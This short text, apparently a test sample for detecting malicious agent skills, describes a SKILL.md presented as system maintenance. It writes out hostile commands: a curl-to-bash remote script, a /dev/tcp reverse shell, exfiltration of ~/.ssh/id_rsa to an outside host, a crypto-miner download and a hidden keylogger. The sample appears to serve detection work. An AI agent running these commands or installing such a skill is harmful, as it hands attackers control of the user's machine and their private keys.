Malicious skill that executes remote code (curl -s http://nothingsuss.ru/payload.sh | bash), opens a reverse shell to /dev/tcp/10.0.2.1/4444, exfiltrates ~/.ssh/id_rsa to http://collector.bad.com/keys, installs a miner from http://xmrig.com/miner, and starts a keylogger via script -q /tmp/.keylog. It is presented as system maintenance in SKILL.md.